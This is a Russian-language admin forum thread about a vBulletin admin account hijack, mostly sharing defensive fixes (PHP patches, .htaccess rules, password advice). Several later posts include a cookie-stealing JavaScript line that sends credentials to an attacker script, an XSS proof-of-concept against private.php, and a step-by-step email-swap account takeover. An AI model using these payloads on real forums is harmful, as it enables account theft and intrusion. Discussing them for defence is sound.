Форум сетевых администраторов - Взлом, как уберечься

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- Хаки от Netadmin или "Сделай сам" (http://netadmin.ws/forum/forumdisplay.php?forumid=65)
-- Взлом, как уберечься (http://netadmin.ws/forum/showthread.php?threadid=1463)

Помещено madgreen 02-06-2002 в 13:15:

Взлом, как уберечься

Совсем недавно столкнулся с проблемой взлома вб! �_аньше, конечно же, понимал, что это возможно, но не думал, что люди пойдут на это, что же.....надежды не оправдались!
Итак, как уберечься? Может, хаки есть какие-то, которые помогают противостоять взломщику?

__________________
Создаю сайт, посвященный мобильным телефонам. Если есть желающие присоединиться к моему труду, буду Вам очень признателен. Пишите в приват.

Помещено polo 02-06-2002 в 13:59:

а по подробнее можно?

__________________
Всегда есть решение.

Помещено Total 02-06-2002 в 14:01:

madgreen
А что собстно взломщик может сделать?!
1. запароть базу
2. поставить себя в базе админом (что самое прикольное)
3. DoS атака... самая распространеная...
4. С помощью sessionhash зайти под любым логином...
5. Нафлудить ...
6. Еще много всего ....

Для осуществления 1-3 нужно сломать пароль от базы, что весьма не легко ..... Хотя ели в конфиге прописан метод http это сделать весьма не трудно Я обычно если лезу а базу загружал конфиг, закончил дело стираю его

__________________
Интернет форум для всех Ты тут еще не был? ...
рейтинг форумов Админы форумов - сюда!!!

Помещено madgreen 02-06-2002 в 16:04:

нет, базу он не запорол, он каким-то образом подобрал админский(мой) пароль, а потом он просто взял, да все форумы поудалял....
как реализовать 4 пункт и как защититься?
как сделать последнее, то есть как ты делаешь?

ОФФТОП: помните такой стиль ultraboard(тот что с флэшем)? урл-чик можно?

Помещено Total 02-06-2002 в 16:34:

madgreen

quote:
как сделать последнее, то есть как ты делаешь?

Непонял....

quote:
как реализовать 4 пункт и как защититься?

хехе.... ни скажу... иначе все будут ломать...А защититься практически невозможно, разве что написать скрипт который будет сравновать cookies s session + id запроса.... Но это то же поидее можно обойти ... Есть еще один вариант, но для его осущиствленря нужен программер который мог бы изменить код авторизации... �_то про защиту

__________________
Интернет форум для всех Ты тут еще не был? ...
рейтинг форумов Админы форумов - сюда!!!

Помещено polo 02-06-2002 в 20:57:

quote:
4. С помощью sessionhash зайти под любым логином...

При помощи sessionhash зайти под чужим ником не возможно, каждый раз проверяется пароль и имя пользователя которое прописано в куках, нет куков, нет аутентификации, все просто.

quote:
базу он не запорол, он каким-то образом подобрал админский(мой) пароль

мог подобрать админовский пароль потому-что его знал, написано не мало о том как нужго подбирать пароли, скажи как можно например угадать такой пароль dvg5HYR566df54JGknc, никак думаю, можно еще заполучить пароль из куков шифрованный в md5 и поставить себе куки форума хотя я не представляю как это можно осуществить и более того для входа в админ панель нужно повторно вводить пароль, так что думай.

__________________
Всегда есть решение.

Помещено madgreen 02-06-2002 в 21:44:

quote:
мог подобрать админовский пароль потому-что его знал, написано не мало о том как нужго подбирать пароли, скажи как можно например угадать такой пароль dvg5HYR566df54JGknc, никак думаю, можно еще заполучить пароль из куков шифрованный в md5 и поставить себе куки форума хотя я не представляю как это можно осуществить и более того для входа в админ панель нужно повторно вводить пароль, так что думай.

он(а)

как-то с реквестом пароля эту фишку провернул! так как мне в ящик после этого пришло около 20 писем, в которых новые реквизиты аккаунта были! блин, вот уроды......

Помещено 2thed 02-06-2002 в 22:08:

quote:
он(а) как-то с реквестом пароля эту фишку провернул! так как мне в ящик после этого пришло около 20 писем, в которых новые реквизиты аккаунта были! блин, вот уроды......

А где форум сидит? а то эсли на томже хосте можно иметь shell акаунт то он мог запустить елементарный sniffer и дать запрос на забытый пароль. а пароль по мылу уходит plain текстом. так что такие фичи высилание пороля по мылу надо отклучать... или прикрутить шифрование, но на PHP неприходилось что то подобное выдеть.
а sniffer он мог и у тебя на локальке запустить подумай можеть кто из близких?

Помещено polo 02-06-2002 в 22:32:

quote:
он(а) как-то с реквестом пароля эту фишку провернул!

Интересно олнако, давайте же подумаем как это могли осуществить, а потом придумаем реальную зашиту. Куки из бараузера я думаю достать просто так не возможно разве что использовать какой-нибудь троян который бы выслал по мылу файлы куков, но этот троян думаю надо как-то в комп ввести и если юзер опытный то такое маловероятно. Еще мог заполучить доступ к твоему мылу. В общем что скажете, какие еще есть мысли.

__________________
Всегда есть решение.

Помещено Gizmo3k 02-06-2002 в 23:09:

Хм... Хотел себе ВБ ставить, а тут прочитал и протормозил слегка Интересно стало. Так что, вопрос пока остаётся открытым?

Помещено 2thed 02-06-2002 в 23:15:

quote:
Куки из бараузера я думаю достать просто так не возможно

если пользается IE то совсем нетрудно спомощю cros-scripting'a . просто надо как то замонить человека на подготовленый сайт или просто мыло прислать. но с мылом тоже если юзает outlook/outlook expres . есть и другие способы , поетому и нерекомендуется ставить windows в default директорию.

quote:
разве что использовать какой-нибудь троян который бы выслал по мылу файлы куков, но этот троян думаю надо как-то в комп ввести и если юзер опытный то такое маловероятно.

ну если закачать троян то просче keyloger->email или даже файл манагер и все равно где нибудь на диске будеть лежать TXT с паролями. разве у болшинства не так? кто из вас пользуется чем то типа WpfAdminSafe?

quote:
Еще мог заполучить доступ к твоему мылу. В общем что скажете, какие еще есть мысли.

у а еслибыло бы доступ к мылу то и одного запросахватило бы. а тут как я понимаю порядка 20 пришло.
поетому я склоняюсь к sniffer'y так как один пакет можно и проморгатьа при таком колычестве точно выудиш.
но еще больше я начал склонятся что это было сделано с помощю PHP - мыло то приходило уже с новами данимы..

Помещено polo 02-06-2002 в 23:15:

да нет вб тут не при чем, я думаю всетаки злоумышник заполучил доступ к эмэйлу, на этом и сыграл, вот например какие минимальные меры безовасности можно применить:
1. Сделать дополнительную зашиту директории admin при помощи .htaccess.
2. Делать ежидневные копии базы данных, что думаю очень эфективно, обещаю написать скрипт который будет вызываться через крон и делать ежидневный бэкап.
3. Слегка модифицировать вб отключив возможность смены пароля для администратора.

__________________
Всегда есть решение.

Помещено zubkov 02-06-2002 в 23:22:

Gizmo3k Причем тут ВБ? Любая система, обладающая каким-либо интерфейсом, имеет потенциальные дыры. Абсолютно защищенная система - зарытый в землю выключенный комп (и то его выкопать можно)

Поэтому:
1) всегда помнить, что есть подростки, которым в сетке нечем заняться
2) делать админские пароли для разных систем (сайтов и т.п.) уникальными и лучше содержащие случайную последовательность 8 и более символов.
3) периодически делать дамп или проверить, делает ли его на самом деле хостер
4) ну и патчи устанавливать по мере возможности

Помещено polo 02-06-2002 в 23:35:

quote:
кто из вас пользуется чем то типа WpfAdminSafe?

А вот это непредусмотрительно пользоваться тхт файлами для хранения паролей. лучще уже в какой-нибудь блокнот зписывать (имею ввиду бумажный

). Я к примеру использую big crocodil удобная прога для хранения паролей + пароли хорошо генерирует, не надо себе забивать мозги придумыванием паролей.

__________________
Всегда есть решение.

Помещено polo 02-06-2002 в 23:36:

quote:
3) периодически делать дамп или проверить, делает ли его на самом деле хостер

Как правило хостер не делает дамп базы данных, хотя должен был бы.

__________________
Всегда есть решение.

Помещено 2thed 02-06-2002 в 23:37:

quote:
да нет вб тут не при чем, я думаю всетаки злоумышник заполучил доступ к эмэйлу, на этом и сыграл, вот например какие минимальные меры безовасности можно применить:

вб можеть и невиноват, а вот PHP много проблем имееть. хотя и вб не можеть быть идиальом (как впрочем и любой другой софт) но так как я с вб знаком 2 дня то..

quote:
3. Слегка модифицировать вб отключив возможность смены пароля для администратора.

вот это обезательно надо, и хорошо бы поделиться с другими

Помещено 2thed 02-06-2002 в 23:42:

quote:
А вот это непредусмотрительно пользоваться тхт файлами для хранения паролей. лучще уже в какой-нибудь блокнот зписывать (имею ввиду бумажный)

бумага тоже можеть подвести - знаю случий когда украли такой блкнот и хозеян потерял очень и очень много вечно зеленых.

спец. софт IMHO луще.

Помещено polo 02-06-2002 в 23:49:

если дело идет о очень много много вечно зеленых то тут ситуация в раз десять усложняеться. Насчет софта полность согласен, сам пользуюсь другим рекомендую.
офтоп
Думаю следует открывать раздел о безопасности.

__________________
Всегда есть решение.

Помещено 2thed 03-06-2002 в 00:01:

quote:
Думаю следует открывать раздел о безопасности.

такой раздел очень нужен. но неслучится с ним как с "раскрутка сайта"?
вот если можно было прикрепить что то типа faq или "сборник умных мыслей" то даже если он пустовать будет всеравно хоть почитать азбуку типа .htaccess на admin, и на конец как умно этим .htaccess ползоваться, а то в apache доке это довольно невнятно местами.
а так если просто открить етот раздел, то через несколько дней все успокоется до следующего слущия

Помещено polo 03-06-2002 в 01:23:

Убираем возможность высылания пароля админу

в файле member.php находим
PHP:



if ($HTTP_POST_VARS['action']=="emailpassword") {

  include("./global.php");



  $users=$DB_site->query("SELECT userid,username,email FROM

и в запросе к базе делаем чтобы запрос также возвращял группу юзера:

code:

if ($HTTP_POST_VARS['action']=="emailpassword") {
  include("./global.php");

  $users=$DB_site->query("SELECT userid,username,email,usergroupid FROM

далее делаем простое услови что если пользователь админ то послать подальше:
для этого немного ниже после строки
PHP:



if ($DB_site->num_rows($users)) {



    while ($user=$DB_site->fetch_array($users)) {

добавим

PHP:



if ($user['usergroupid'] ==6) {

            echo "Неужто может быть такое что админ забыл свой пасс, 

            или может ты не админ, в общем низя тебе этого делать.";

            exit;

        }

__________________
Всегда есть решение.

Помещено polo 03-06-2002 в 01:42:

Для полноты картины урежем админу возможность менять пароль через юзерскую панель...

...для этого в том же member.php находим строки
PHP:



if ($HTTP_POST_VARS['action']=="updatepassword") {

  include("./global.php");



  if ($bbuserinfo[userid]==0) {

    show_nopermission();

  }

и сразу после них добавим
PHP:



if ($bbuserinfo['usergroupid'] == 6) {

      echo "Админ может изменить пароль используя исключительно

            административную панель управления";

      exit;

   }

__________________
Всегда есть решение.

Помещено madgreen 03-06-2002 в 07:01:

quote:
а то эсли на томже хосте можно иметь shell акаунт то он мог запустить елементарный sniffer и дать запрос на забытый пароль

явно не там, где я! иначе бы мы его на всю жизнь бы отучили snifferom пользоваться!

quote:
Еще мог заполучить доступ к твоему мылу

я тоже над этим долго думал и от первой мысли ужаснулся! но вроде бы все письма с реквестами были не прочитаны! плюс тогда возникает вопрос: как получиьт доступ к чужому яндекс-аккаунту?

quote:
1) всегда помнить, что есть подростки, которым в сетке нечем заняться

да, это действительно проблема, различные лохи читают руководства и с пол тычка ломают незащищенные сайты...

quote:
кто из вас пользуется чем то типа WpfAdminSafe?

никогда не пользовался, все пароли в голове!

quote:
Как правило хостер не делает дамп базы данных, хотя должен был бы

в очень редких случаях он это делает, в очень редких!

2Polo: спасибо за модификации, я ими обязательно воспользуюсь!
раздел по безопасности будет очень нестабильным, как только кого-нибудь хакнут, там будут начинаться горячие темы, а в другие дни он будет практически пустовать!

Помещено 2thed 03-06-2002 в 09:08:

quote:
никогда не пользовался, все пароли в голове!

nothing personal, но или ты геный и можеж запоминать десятки psw типа: Ji#oK{Gi или ползуишся каким то шаблонам по которому с 20 попиток твой пароль и подобрали.

Помещено 2thed 03-06-2002 в 09:30:

насчет безопасности админ'a: можно конечно отклучить высилку пароля по мылу, или что еще круче совсемлишить админа менять пороль черес CP, но можно и менше радикально поступить:
пишется скрпит котоый авторизырует даный компутер (как ывает с платними програмами) и если пароли правильные засилает cookie , а admin/index.php доробативаем чтоб он перед водом пароля проверыл даный компутер, на возможность вобще водить пароль, и дальше по желанию - или сразу викидивать, или просто принимать пороль, но даже при правильном пароле возвращаться в логин меню. ну и если скрипт авторизаци каждий назаветь по своему типа authorizme.php or suckdick.php or ... то незная как он называется аже несможеж попробовать авторизироваться. ну а настоящему админу всегда можно будеть войти в CP с любого компутера.

Помещено Shadoff 03-06-2002 в 10:17:

quote:
различные лохи читают руководства и с пол тычка ломают незащищенные сайты...

а вот это уже не лохи...лохи это которые ввв чаты ломают через интерфейс вэб чата %) или форму сохраняют на хард...зато есть такие долбоёбы которые ломают сайт и вывешывают на своём, типа мы бла крутые до буя, вот наш последний взлом...пример этова
www.neodteam.net - я не думаю что они до буя крутые...

__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump

Помещено zubkov 03-06-2002 в 12:48:

А я пароли в Палме хранил... Потом я на него сел и он перестал грузится

Помещено polo 03-06-2002 в 13:33:

quote:
я тоже над этим долго думал и от первой мысли ужаснулся! но вроде бы все письма с реквестами были не прочитаны! плюс тогда возникает вопрос: как получиьт доступ к чужому яндекс-аккаунту?

ну так если письма загружать через какой-либо мэйл клиент, то письма и не будут помечены как прочитанные.

quote:
а admin/index.php доробативаем чтоб он перед водом пароля проверыл даный компутер, на возможность вобще водить пароль

не поняно о что ты хочешь сказать.

__________________
Всегда есть решение.

Помещено zubkov 03-06-2002 в 13:45:

linsa Насколько я понял, ты предлагаешь ввести еще одну аутоидентификацию при смене пароля. Нафига? Можно конечно требовать от пользователя ввести десять разных паролей или завести отдельный пароль для выполнения каждого действия... Но пользователь запарится. �_ешения, предложенного polo, вполне достаточно.

polo Твой код можно оформить как хак. Хотя это может уже и есть хак.

Помещено madgreen 03-06-2002 в 13:47:

quote:
ну так если письма загружать через какой-либо мэйл клиент, то письма и не будут помечены как прочитанные.

тот аккаунт что у меня указан был в профиле, я через клиент не проверял!
2Linsa: поясни, пожалуйста, поточнее свою мысль!

Помещено polo 03-06-2002 в 13:50:

ну можно еще IP проверять.

__________________
Всегда есть решение.

Помещено Shadoff 03-06-2002 в 13:51:

polo

quote:
не поняно о что ты хочешь сказать.

может это так же как и фишка с config.php
$canviewadminlog
То есть юзеру можно входить в панель управления...

__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump

Помещено 2thed 03-06-2002 в 14:17:

"�_усская клавиатура" хорошо, но когда нужно много писать - стараешся сокращять. попробую по новой:
думаю все сталькивались с програмами которые требует авторизации на новом компутере (обычно по контрольной сумме BIOS или что то похожее). На PHP контрольную сумму неоткуда взять, но cookie использовать можно. И так после свежой инсталяции перед admin/index.php запускаем скрипт авторизации которово каждый можеть назвать посвоему (а можно и instal.php дороботать чтоб в конце инсталяции покозал как назвал етот скрипт авторизации). И вот етот скрипт засилает cookie на компутер без которого переделаный admin/index.php даже небудеть запускатся.
так вот после таких модификаций админ с своего компа всегда сможеть зайти на admin/index.php и если что зная как называется скрипт авторизации сможеть на другом компутере (после авторизации) заходить на admin/index.php. а чужаки без авторизации будут выкыдаватся.
ну а дальше вобще можно идти дальше - на скрипте авторизации дать установить сколько будет жить cookie - ето если с чужово компа надо что нибудь сделать, а потом чтобы другие не смогли через етот жу ком лезать в admin/index.php
я отдаю себе отчеть что можно просто поставить .htaccess в директорию /admin - но basic autorization очень легко ломается brute-force, а если и там поставить пароль типа R#jW^Ft то... по моему проще один раз авторизацию сделать на конкретный комп и никто кроме вас нечего несможеть сделать на admin/index.php
суйчас мысль уже понетна?

Помещено Shadoff 03-06-2002 в 15:51:

linsa
а ты знаешь как так можно сделать?

__________________
http://rlz.grinderz.ws - Public Last Scripts Upped Dump

Помещено polo 03-06-2002 в 16:05:

сделать это легко, а вот нужно ли это?

__________________
Всегда есть решение.

Помещено 2thed 03-06-2002 в 16:26:

quote:
сделать это легко, а вот нужно ли это?

это понимать как реторическый вопрос?

а так если администрируеш только со своего компа то ставиш .htaccess , ехплореру ставиш метку запомнить пороль, и надешся что никто неукраст твой .pwl

ну а так как иногда приходиться и сдругова компа что то делать с admin/index.php то допольнительная защита не повредит.
конечно если нельзя будеть изменят пароль admin как и зделал polo то здесь обсущдаемый случий можеть быть и непроизашол бы, но ведь пока неясно как был произведен взлом - эти емайлы могли быть посланы уже после взлома чтобы похвастатся передь хозяеном форума..

Помещено MYXOMOP 03-06-2002 в 19:32:

Думаю защиты черех .htaccess более чем достаточно.
Нужна просто защита другим методом (не средствами скрипта) директории admin

Помещено polo 03-06-2002 в 20:19:

можно сделать:
Deny from all
Allow from свой ип
что тоже вариант.

__________________
Всегда есть решение.

Помещено 2thed 03-06-2002 в 20:43:

quote:

можно сделать:
Deny from all
Allow from свой ип
что тоже вариант.

эсли сидиш только за своим компутером и некогда неприходиться из другово места то - больше ничего и ненадо, спору нет, но например я 4 дня сидел на GPRS а там IP динамический...

Помещено Искатель 03-06-2002 в 20:51:

.htaccess в дополнение
Можно еще сделать проверку на то откуда пришли referer.
И на тип браузера т.е. если все пароли подобраны, прокси ip совпадает, а тип браузера нет.

__________________
http://faq.pp.ru/read_mee/

Помещено MYXOMOP 03-06-2002 в 22:59:

linsa
для особого извращения можно поставить CGI-proxy и ходить через него, тогда IP будет одинаковый. Но тогда еще и его паролить тоже надо....

Нет уж: "еще и за свиньей доедать" (С)Анекдот

Пары уровней защиты более чем достаточно, если везде не ставить пароли типа 1234
и ставить фиксы.

Помещено madgreen 04-06-2002 в 16:03:

из всего вышесказанного можно ограничиться htacces, refer и фишкой, которую сделал polo!

Помещено zeev 05-06-2002 в 18:37:

у меня вообще был толи глюк толи хак черт его знает
в общем в таблице thread колонка forumid была полность очищена
в общем все топики ушли в небытие точнее небыли никакому форуму присвоены

Помещено 2thed 05-06-2002 в 23:10:

quote:
у меня вообще был толи глюк толи хак черт его знает
в общем в таблице thread колонка forumid была полность очищена
в общем все топики ушли в небытие точнее небыли никакому форуму присвоены

СУПЕ�_!!! тут все советами как от хаков оборонется и даже раздел новый чуть ли неродился, пришлось бы сейчас его из Безопасность переиминовать в Глюки

sorry for offtopic

Помещено Rumata 08-06-2002 в 16:02:

Мда. А я вот читал, что в вб есть дырка. Как ей воспользоваться, честно говоря не понял, но у себя закрыл =))

Держите ссылку: http://forums.webscript.ru/showthre...=&threadid=4829

Помещено Dip 10-06-2002 в 10:55:

А где взять этот хак русская клавиатура ?

Помещено kpecm 04-04-2003 в 11:08:

quote:
Первоначальное сообщение от 2thed
nothing personal, но или ты геный и можеж запоминать десятки psw типа: Ji#oK{Gi или ползуишся каким то шаблонам по которому с 20 попиток твой пароль и подобрали.

Позвольте не согласиться.
1. Не так много паролей критичны.
2. Не сгенеренный, а самостоятельно созданный пароль запоминается проще.

Например такой пароль
1rSV265V$ 93m - достаточно длинный, в то же время для хозяина легко запоминаемый. В то же время он содержит в себе все что надо. Т.е. прописные и строчные буквы, цифры, специальные симфолы и пробел. На подбор простым перебором на среднестатическом ПиСюке можно не расчитывать.

З.Ы. для особых случаев можно использовать целый ряд защиты. Т.е. Пароль на ак, а так же пароль на админский каталог. Даже узнав админский пароль взломщику придется ломать еще и .htaccess.

Может я и ошибаюсь.

Помещено Jaxick 05-04-2003 в 19:13:

Люд , я не стал читать всю тему , но скажу может быть то что уже было сказанно:
Взломать пароль на ненастроеном форуме очень даже не сложно!!!
Дело в том что если в форуме включены HTML то юзер может спокойно вставить код JavaScript !!!! А ЯваСкрипт как известно имеет доступ к куукам , там же и хранятся ID сессии(вряд ли надо - так как они постоянно меняются) и самое важное для взломщика - кууки bbuserid и bbpassword !!!
Помимо этого - он там где то делает у себя скрипт который записывает все данные!
И приписывает что то типа этого:
document.location = "pass.php?bbuserid='+bbuserid+'&bbpassword='+bbpassword+';
и вооля - данные передадутся этому скрипту , который уже их обработает и отдаст взломщику! Администратор форума тут не будет исключением !
Ну и соответственно - взломщик пропишет у себя эти данные и зайдет под чужим логином , например под администратором!
Так что для вашего же здоровья - в публичных форумах выключайте HTML !!!
Можно написать хак который бы отключал только тэги <javascript> , но помимо этого - можно вскрыть пароль и при помощи тэгов <span> и даже с <img>!

Помещено Mr.Death 04-05-2003 в 15:43:

Хе хе,вот я сломал с сайта пароль и лазию у него в базе смотрю что мне надо (просто по дизайну),но что бы удалить это сильно,а не урод !

Помещено NeoExpert 28-09-2003 в 19:49:

Вы про ламаки. Причём все.

Сообщается, что сценарий 'private.php' не фильтрует данные, представленные пользователем. Удаленный пользователь может сконструировать специально сформированную Web форму, которая, при загрузке в браузере пользователя, выполнить произвольный код сценария в браузере целевого пользователя в контексте vBulletin сайта. Пример: (требуется предварительная авторизация)

html>
< body>
< form action="http://[victim]/forum/private.php" method="post"
name="vbform">
< input type="hidden" name="do" value="insertpm" />
< input type="hidden" name="pmid" value="" />
< input type="hidden" name="forward" value="" />
< input type="hidden" name="receipt" value="0" />

< input type="text" class="bginput" name="title" value=""
size="40"
tabindex="2" />
< textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
< input type="submit" class="button" name="sbutton" value="Pos
t Message"
accesskey="s" tabindex="4" />
< input type="submit" class="button" value="Preview Message" access
key="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

< input type="checkbox" name="savecopy" value="1" id="cb_savec
opy"
checked="checked" />
< input type="checkbox" name="signature" value="1" id="cb_sign
ature" />
< input type="checkbox" name="parseurl" value="1" id="cb_parse
url"
checked="checked" />
< input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
< /form>
< script>
//Set Values and Submit
// You can write your own JS codes
var xss = ""><script>alert(document.cookie)</script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
< /script>
< /body>
< /html>

Помещено Mr.Death 28-09-2003 в 21:34:

ХА! Возманил себя отцом? Статью нашёл,уже крутой?
Какое каму дело как пишиться оффсайт ил офсайт,главное понятно что сказали. polo знает в 100 раз больше чем ты !
polo в бан его !
Сори за оффтопик

Помещено magistr 29-09-2003 в 11:30:

в уязвимых версиях можно выполнить css нападение
записать куки и войти под ними

делается даже проще
составляешь html файл с скриптом
ищешь админа и говоришь:
будь другом зайди на мой сайт я тебе бублик дам
он кликает и все
куки у тебя

Помещено Krionix 30-09-2003 в 12:07:

magistr
Так ведь чтобы зайти в ACP нужно еще раз ввести логин и пароль. А в куках он зашифрованый. �_асшифровывать будешь ? (если это еще и возможно)

__________________
Форум 3DNews

Помещено magistr 30-09-2003 в 18:32:

Krionix

хех ту просто идешь в user CP меняешь email на свой
потом logout
потом forgot password
вводишь свой email
получаешь пароль
потом меняешь email назад
но пароль уже сбросан
админ заметит но уже не успеет
я вообще например на Htaxx весь форум ставлю для каждого юзера это лучшее решение
и админ панель на другой htaxx

Помещено Krionix 01-10-2003 в 12:09:

magistr
Точно блин, чей то я ступил

__________________
Форум 3DNews

Помещено NeoExpert 04-10-2003 в 15:35:

Да, бан мне, чтоб мне умничал !!! Но умничать фсё равно буду

Помещено Mr.Death 04-10-2003 в 16:15:

NeoExpert Будеш,но тоолько сидя на сортире.

Помещено NeoExpert 05-10-2003 в 19:10:

Ладно, завтра на работу ... я протрезвел и успокоился.
Пардон, если кого обидел ...

Формат времени GMT. Текущее время 01:23.

Показаны 57 сообщений на этой странице